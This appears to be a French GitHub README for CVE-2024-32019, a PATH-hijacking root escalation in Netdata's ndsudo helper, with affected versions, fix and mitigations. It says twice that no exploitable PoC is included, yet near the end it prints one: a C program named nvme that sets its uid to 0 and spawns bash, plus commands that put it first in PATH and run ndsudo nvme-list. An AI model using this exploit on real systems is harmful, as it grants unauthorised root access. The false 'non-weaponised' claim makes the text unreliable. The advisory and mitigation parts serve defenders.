
PoC non armé et vérificateur pour CVE-2024-32019, une élévation de privilèges locale dans l'utilitaire ndsudo de Netdata. Évaluez l'exposition, validez les correctifs et comprenez le vecteur d'exploitation basé sur PATH.
ndsudoLe helper ndsudo de Netdata (installé avec setuid root) restreint les commandes qu'il peut exécuter, mais résout ces commandes en utilisant le PATH de l'appelant. Dans les versions impactées, un utilisateur local peut placer un binaire malveillant plus tôt dans le PATH et faire exécuter celui-ci par ndsudo avec les privilèges root. Corrigé dans Netdata 1.45.3 et 1.45.0-169.
Affecté : >= 1.44.0-60, < 1.45.0-169 et >= 1.45.0, < 1.45.3 (selon l'avis en amont).
Corrigé : 1.45.3 (stable), 1.45.0-169 (nightly). GitHub
Élévation de privilèges locale vers root sur les systèmes où ndsudo est installé en SUID et où l'utilisateur peut l'invoquer (généralement les membres du groupe netdata). NVDGitHub
ndsudo est SUID-root et autorise des sous-commandes comme nvme-list, nvme-smart-log, etc.
Il appelle des exécutables externes par leur nom (par exemple nvme), qui sont résolus via PATH au lieu d'utiliser des chemins absolus ou une recherche sûre et fixe.
Si un répertoire inscriptible apparaît avant les chemins système, un attaquant peut introduire un binaire imitant celui attendu, qui sera exécuté en tant que root. GitHub
Ce dépôt inclut des vérificateurs non exploitants qui :
Inspectent /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (ou l'endroit où il est installé) pour vérifier le SUID/propriétaire.
Énumèrent le PATH pour trouver les répertoires inscriptibles situés avant les chemins système courants.
Confirment la présence de noms de sous-commandes autorisées que ndsudo pourrait tenter d'exécuter.
Exécutent optionnellement ndsudo --test <subcommand> pour afficher la commande résolue sans l'exécuter (à utiliser avec prudence, lisez le code d'abord). GitHub
⚠️ Aucun PoC exploitable n'est inclus. Ce projet est destiné aux défenseurs et aux chercheurs pour évaluer l'exposition et valider les correctifs de manière responsable.
Mettez à jour Netdata vers 1.45.3 (stable) ou 1.45.0-169 (nightly).
Par mesure de défense en profondeur, privilégiez les chemins absolus ou un PATH minimal assaini dans les helpers SUID ; évitez d'accorder un accès inutile à ndsudo. GitHubwiz.io
nvme.c :#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD : CVE-2024-32019. NVD
Avis de sécurité Netdata (GHSA-pmhq-4cxq-wj93). GitHub
Résumé de Wiz. wiz.io
Analyse de Snyk. Guide de vulnérabilité
Liste MITRE/CVE. CVE